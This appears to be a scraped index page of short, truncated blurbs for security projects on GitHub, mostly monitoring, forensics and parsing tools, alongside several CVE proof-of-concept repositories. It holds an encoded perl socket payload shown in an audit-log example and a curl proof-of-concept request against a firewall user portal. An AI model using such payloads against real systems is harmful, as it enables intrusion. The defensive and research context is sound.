laurel

Linux 审计 – 可用、健壮、简单日志 LAUREL 是 auditd8 的事件后处理插件，可生成有用的、丰富化的 JSON 格式审计日志，适用于现代安全监控设置。 最新稳定版对应的文档可在此处找到。 为什么？ 长话短说：与其像这样查看审计事件…… root@kitploit: type=EXECVE msg=audit1626611363.720:348501: argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… ……...

Nessus_Map

Nessus Map Nessus XML Praser Requirements Python3 Django Tested on Ubuntu 18.04 Windows 11 Pro PowerShell What it does Vulnerability based parsing Service based parsing Host bases parsing Unsupported OS parsing Generate Executive Summary of scan Export parsed .nessus files to JSON file Import JSO...

React-site-CVE-2025-55182

React Site - CVE-2025-55182 README: Vulnerable Next.js project React RSC landing page This repository contains an example of a multi-page corporate landing page built with Next.js 15.0.0 + React 19.0.0. The site mimics a structure similar to t1.ru: home, products, cases, media, about, contacts. W...

Name-That-Hash

➡️ Discord | Website ⬅️ The Modern Hash Identification System pip3 install name-that-hash && nth Web App with no install needed 🤔 What is this? Have you ever come across a hash such as 5f4dcc3b5aa765d61d8327deb882cf99 and wondered what type of hash that is? 🤔 Name-that-hash will name that hash...

JSONPath

ver también licencias para dependencias de desarrollo JSONPath Plus Analiza, transforma y extrae selectivamente datos de documentos JSON y objetos de JavaScript. jsonpath-plus expande la especificación original para añadir algunos operadores adicionales y hace explícitos algunos comportamientos q...

dex

dex - Un proveedor OpenID Connect federado Dex es un servicio de identidad que utiliza OpenID Connect para impulsar la autenticación de otras aplicaciones. Dex actúa como un portal hacia otros proveedores de identidad a través de "conectores". Esto permite que dex delegue la autenticación en...

windiff

WinDiff About WinDiff is an open-source web-based tool that allows browsing and comparing symbol, type and syscall information of Microsoft Windows binaries across different versions of the operating system. The binary database is automatically updated to include information from the latest Windo...

FileWatchTower

FileWatchTower - FWT NOTE: This project is no longer maintained and has been published from archived projects for reference. It is available for anyone interested in developing file analysis software. FWT is a security analysis and file monitoring tool that utilizes Sysmon events. It tracks files...

tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

digital-forensics-lab

Digital Forensics Lab & Shared Cyber Forensic Intelligence Repository Features of Repository Interactive Digital Forensics Labs: Tailored for students and faculty engagement Linux-Centric Lab Environment: Utilizes Kali Linux exclusively for all labs Visual Learning Support: Each lab includes...

digital-forensics-lab

数字取证实验室与共享网络取证情报库 本仓库特点 交互式数字取证实验室： 专为学生和教师参与而设计 以Linux为中心的实验环境： 所有实验均使用Kali Linux 可视化学习支持： 每个实验包含PowerPoint演示文稿、相关文件和教学截图 全面覆盖： 涵盖数字取证领域的广泛主题 开源工具： 所有使用的工具均为自由开源软件 持续更新： 由美国司法部（DOJ）、国土安全部（DHS）和国家科学基金会（NSF）资助，团队致力于定期更新仓库 取证情报集成： 两个基于真实案例研究的结构化取证情报数据集（JSON格式） 如需反馈或告知您正在使用本课程材料，请通过电子邮件联系 wxu at uba...

gopassivedns

gopassivedns Network-based DNS logging in Go Summary A network-capture based DNS logger, inspired by https://github.com/gamelinux/passivedns. It uses gopacket to deal with libpcap and packet processing. It outputs JSON logs. It is intended to deal with high volume query capture in environments wi...

CVE-2026-34308

CVE-2026-34308: Denegación de servicio en MySQL Server componente JSON Boletín oficial del proveedor: Oracle Critical Patch Update Advisory — April 2026. Resumen según el CVE publicado Vulnerabilidad en Oracle MySQL Server componente: Server: JSON. Versiones afectadas compatibles: 8.0.0–8.0.45 ,...

evtx

EVTX Un analizador multiplataforma para el formato Windows XML EventLog Características 🔒 Implementado usando 100% Rust seguro - y funciona en todas las plataformas soportadas por Rust que tengan stdlib. ⚡ Rápido - vea los benchmarks a continuación. ¡Es más rápido que cualquier otra implementació...

CVE-2022-1040

CVE-2022-1040 may the poc with you 外面捡来的 root@kitploit: curl --insecure -H "X-Requested-With: XMLHttpRequest" -X POST 'https://x.x.x.x/userportal/Controller?mode=8700&operation=1&datagrid=179&json="🦞":"test"'...

CVE-2025-0868

Informe de Proyecto de Pruebas de Penetración: Explotación de CVE-2025-0868 DocsGPT RCE mediante Eval JSON 1. Introducción El 20 de febrero de 2025 se reveló una vulnerabilidad crítica de ejecución remota de código RCE CVE-2025-0868 en la biblioteca de código abierto DocsGPT, causada por el uso...

bomber

bomber is an application that scans SBOMs for security vulnerabilities. Overview So you've asked a vendor for an Software Bill of Materials SBOM for one of their closed source products, and they provided one to you in a JSON file... now what? The first thing you're going to want to do is see if a...

CVE-2024-49369

CVE-2024-49369 Overview This vulnerability leverages the Icinga JSON-RPC protocol to exploit monitored nodes running Icinga agents. By impersonating a Master/Satellite instance, attackers can potentially take over agents, execute arbitrary commands, or gain sensitive information. How to Use...

jwt-hack

JSON Web Token 黑客工具包 一个用于测试、分析和攻击 JSON Web Token 的高性能工具包。 安装 Cargo root@kitploit: cargo install jwt-hack Homebrew root@kitploit: brew install jwt-hack Snapcraft Ubuntu root@kitploit: sudo snap install jwt-hack 从源码构建 root@kitploit: git clone https://github.com/hahwul/jwt-hack cd jwt-hack cargo...

macOS_security_audit

🔒 macOS Security Audit A Bash-based security auditing toolkit for macOS that checks system hardening settings against CIS Benchmark recommendations and generates JSON/HTML reports. Created by Bartłomiej Pogwizd · https://www.youtube.com/@pTech-pl Overview This toolkit consists of two scripts:...